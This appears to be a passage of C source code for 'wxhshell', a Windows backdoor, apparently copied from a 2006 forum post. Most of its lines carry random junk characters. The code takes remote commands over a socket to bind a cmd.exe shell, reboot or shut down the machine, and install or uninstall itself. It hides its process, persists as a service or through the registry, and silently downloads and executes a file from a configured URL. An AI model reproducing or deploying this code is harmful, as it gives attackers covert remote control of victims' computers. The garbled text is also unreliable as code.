  } U!Eo*?LU$  
  else { Fa^I 1fk  
OYayTKxN  
    switch(cmd[0]) { iK=SK3)vR  
  ;vLg4k  
  // 帮助 4j VFzO%.  
  case '?': { X2S:"0?7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bbAJ5EqL  
    break; j  hr pS  
  } 0="U'|J_  
  // 安装 cH{[\F"Eb  
  case 'i': { aW@J]slg  
    if(Install()) + -OnO7f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nx^r&pr  
    else E;)7#3gY1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wh)Ujgd  
    break; 4Up \_  
    } !Ng~;2GoA  
  // 卸载 HYWKx><   
  case 'r': {  v+qHH8  
    if(Uninstall()) +?R !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZ_vb? n  
    else 5dem~YY5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d;WXlE;  
    break; z57|9$h}w  
    } >4x~US[VB  
  // 显示 wxhshell 所在路径 rWnZIt"  
  case 'p': { U1~6o"1H  
    char svExeFile[MAX_PATH]; +u]L# ].;  
    strcpy(svExeFile,"\n\r"); HVkq{W|w  
      strcat(svExeFile,ExeFile); %MUh_63bB  
        send(wsh,svExeFile,strlen(svExeFile),0); EhK5<v}  
    break; XX;MoE~MM  
    } XTPf~Te,=  
  // 重启 2nA/{W\hC  
  case 'b': { kNDN<L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -eSZpzp  
    if(Boot(REBOOT))  0gOB $W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ';.n#  
    else { iqh"sx{5bp  
    closesocket(wsh); z*BGaSX %  
    ExitThread(0); pG0Ca](  
    } "j] r   
    break; O0cKmh6=  
    } t) h{ w"v  
  // 关机 6}S1um4 F  
  case 'd': { +!9&zYu!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jo ^+  
    if(Boot(SHUTDOWN)) vivU4:uH3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"j>k>tg  
    else { _7qGo7bpN  
    closesocket(wsh); DP<[Uz&  
    ExitThread(0); ts=KAdcJ  
    } A57e]2_  
    break; DC6xet{  
    } >p,FAz>  
  // 获取shell W\l"_^d*  
  case 's': { f )K(la^'  
    CmdShell(wsh); Mw9;O6  
    closesocket(wsh); /C"?Y'  
    ExitThread(0); %jRqrICd  
    break; _q /UDf1  
  } =abBD   
  // 退出 zy!mP  
  case 'x': { ;0 No@G;z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zb=L[2;  
    CloseIt(wsh); >+8Kl`2sw;  
    break; .X)TRD#MW  
    } p:@JCsH=  
  // 离开 PShluhY  
  case 'q': { _8eN^oc%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZclZD{%8J  
    closesocket(wsh); 6y d/3k  
    WSACleanup(); 0b~{l;  
    exit(1); NP?hoqeKs  
    break; @/yJTMcf  
        } Zwxu3R_  
  } q;0QI{:5v  
  } ;*=MI/"N  
~w9.}   
  // 提示信息 #HF;yAc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # mK?K  
} hfQx$cv6  
  } \yNe5  
4(O;lVT}  
  return; s_`=ugue  
} k5ZkD+0Jo  
`SH#t3 5,  
// shell模块句柄 oM4Q_An  
int CmdShell(SOCKET sock) >L{s[pLJ  
{ _}RzJKl@  
STARTUPINFO si; =i:6&Y~VGq  
ZeroMemory(&si,sizeof(si));  J0Ik@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tP ;^;nw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f~{@(g&Gl  
PROCESS_INFORMATION ProcessInfo; y %4G[Dz  
char cmdline[]="cmd"; 1p|}=R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vbT,! cEm  
  return 0; ^:F |2  
} U9ZWSDs  
yQ{xRtNO  
// 自身启动模式 c4AkH|  
int StartFromService(void) qJ8@A}}8  
{ 13v#  
typedef struct C% )Xz  
{ mx:)&1  
  DWORD ExitStatus; B]-~hP  
  DWORD PebBaseAddress; )of?!>'S[  
  DWORD AffinityMask; tbr1mw'G  
  DWORD BasePriority; E"{2R>mU~  
  ULONG UniqueProcessId; nC;2wQ6aO  
  ULONG InheritedFromUniqueProcessId; X;D"}X4(E  
}   PROCESS_BASIC_INFORMATION; "`'' eV3  
8p)*;Y  
PROCNTQSIP NtQueryInformationProcess; RHOEyXhOA  
RCvf@[y4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; / Q8glLnM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KNZN2N)wR  
` e~nn  
  HANDLE             hProcess; ]l.qp5eQ  
  PROCESS_BASIC_INFORMATION pbi; t:?8I9d  
gfW8s+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  {Hp*BE   
  if(NULL == hInst ) return 0; h;(#^+LH  
M]JD(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zLB7'7oP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X\dPQwasM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Ne`F(c  
8ezdU"  
  if (!NtQueryInformationProcess) return 0; Rl2*oOVz  
W@( EEMhw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O%KP,q&}Y  
  if(!hProcess) return 0; & &\HE7*  
O=C z*j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |re>YQ!zd  
RO?%0-6O&  
  CloseHandle(hProcess); zYW+Goz/C  
r6#It$NU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6AW{qU6  
if(hProcess==NULL) return 0; Eoo[)V#x{  
v|r=}`k=  
HMODULE hMod; vg6 ' ^5S7  
char procName[255]; jZX2)#a!  
unsigned long cbNeeded; hCcAAF*I;5  
#A RQB2V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |*w}bT(PfR  
`?H yDny  
  CloseHandle(hProcess); :"pA0oB  
,iQRf@#W_b  
if(strstr(procName,"services")) return 1; // 以服务启动 uN)o|7  
6zGM[2  
  return 0; // 注册表启动 K Qz.g3,  
} -/O_wqm#  
^lp#j;Df  
// 主模块 nhm)P_p   
int StartWxhshell(LPSTR lpCmdLine) ? V0!N;  
{ y]veqa  
  SOCKET wsl; 3wQUNv0z  
BOOL val=TRUE; 2{sx"/k\A  
  int port=0; >5aZ?#TS1  
  struct sockaddr_in door; VW[!%<  
2qF ?%  
  if(wscfg.ws_autoins) Install(); mT7B#^H  
kX2bU$1Q,i  
port=atoi(lpCmdLine); i#lnSJ08  
dV( "g],  
if(port<=0) port=wscfg.ws_port; $z>L $,c>  
2 ;z~xR  
  WSADATA data; E W {vF|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :=iP_*#  
8?> #  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vl "l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cen[|yCtOH  
  door.sin_family = AF_INET; XmK2Xi;=b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bAsoIra  
  door.sin_port = htons(port); 4zRz U  
i`Tp +e@a>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w'/ Mn+  
closesocket(wsl); ][jW2;A  
return 1; l=*60Ag\J~  
} a%"27 n(M  
!\DlX |  
  if(listen(wsl,2) == INVALID_SOCKET) { |\lsTY&2  
closesocket(wsl); / X #4  
return 1; O_M2Axm  
} vIL'&~C\y  
  Wxhshell(wsl); L>&o_bzp  
  WSACleanup(); Qrnc;H9)  
!Rq.L  
return 0; 1TagQ  
<yw6Om:n<  
} xE2sb*  
&RzkM4"  
// 以NT服务方式启动 WB7pdSZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xn fMx$fD  
{ u?J!3ZEtb  
DWORD   status = 0; nkp,  
  DWORD   specificError = 0xfffffff; iE~][_%U  
jc4#k+sb  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  MYD`P2F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wc%Wy|d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h2b,(  
  serviceStatus.dwWin32ExitCode     = 0; zXop@"(e  
  serviceStatus.dwServiceSpecificExitCode = 0; X#|B*t34  
  serviceStatus.dwCheckPoint       = 0; 7<T1#~w4L  
  serviceStatus.dwWaitHint       = 0; Q=,6W:j  
$y0[AB|V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k"kGQk4  
  if (hServiceStatusHandle==0) return; %|tDb  
_{]\} =@  
status = GetLastError(); i; qb\  
  if (status!=NO_ERROR) 3?do|>  
{ [dQL6k";b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kgq"b)  
    serviceStatus.dwCheckPoint       = 0; y .O%  
    serviceStatus.dwWaitHint       = 0; m>H+noc^  
    serviceStatus.dwWin32ExitCode     = status;  ?)_?YLi  
    serviceStatus.dwServiceSpecificExitCode = specificError; fbG+.'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Mh 3v@K:  
    return; &!xePKvO6k  
  } ko2T9NI:S  
YKUb'D:t]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b-d{)-G{(  
  serviceStatus.dwCheckPoint       = 0; =02$Dwr  
  serviceStatus.dwWaitHint       = 0; B=>VP-:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O3YD jas  
} VP7g::Ab  
EDl*UG83G  
// 处理NT服务事件,比如:启动、停止 u["3| `C5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,[} XK9  
{ ,R-T( <r  
switch(fdwControl) 0gLl>tF[H  
{ _i/x4,=xv  
case SERVICE_CONTROL_STOP: (mNNTMe  
  serviceStatus.dwWin32ExitCode = 0; 0:CIM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a7]wPXKq  
  serviceStatus.dwCheckPoint   = 0; nRE(Rb Re  
  serviceStatus.dwWaitHint     = 0; .qN|.:6a  
  { Yq$KYB j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r@w`G  
  } xF#'+Y  
  return; H n^)Xw  
case SERVICE_CONTROL_PAUSE: *&=sL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u . xUM  
  break; k Y}r^NaQA  
case SERVICE_CONTROL_CONTINUE: [1LlzCAFBw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pM|m*k  
  break; DR%16y<h  
case SERVICE_CONTROL_INTERROGATE: W RBCNra  
  break; ZM6`:/lc  
}; =T?:b8yV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3.t j%+  
} k%|Sl>{Ir  
>-%}'iz+  
// 标准应用程序主函数 @L9C_a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pL& Zcpx  
{ xy^t_];X  
LA837P  
// 获取操作系统版本 mm l`,t8  
OsIsNt=GetOsVer(); DL t"cAW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FQ3{~05T  
|[ )e5Xhd  
  // 从命令行安装 (uxe<'Co|  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ouw *|<  
|= o)|z2  
  // 下载执行文件 9W7 ljUg  
if(wscfg.ws_downexe) { ?xRx|_}e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jDV;tEY#^  
  WinExec(wscfg.ws_filenam,SW_HIDE); c)b/"  
} tF/)DZ.to  
!:GlxmtoW?  
if(!OsIsNt) { AgBXB%).  
// 如果时win9x,隐藏进程并且设置为注册表启动 d :a*;F  
HideProc(); RCL}bE  
StartWxhshell(lpCmdLine); -](NMRqfN  
} 9i=HZ\s3  
else 6w"_sK?  
  if(StartFromService()) xk#q_!(j  
  // 以服务方式启动 TI<?h(*R_  
  StartServiceCtrlDispatcher(DispatchTable); &P0jRT3e#Y  
else v>[U*E  
  // 普通方式启动 w YEkWB^  
  StartWxhshell(lpCmdLine); &c|3v!  
4X1!t   
return 0; vOIzfwYG9  
}
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只看该作者 1 发表于: 2006-10-10
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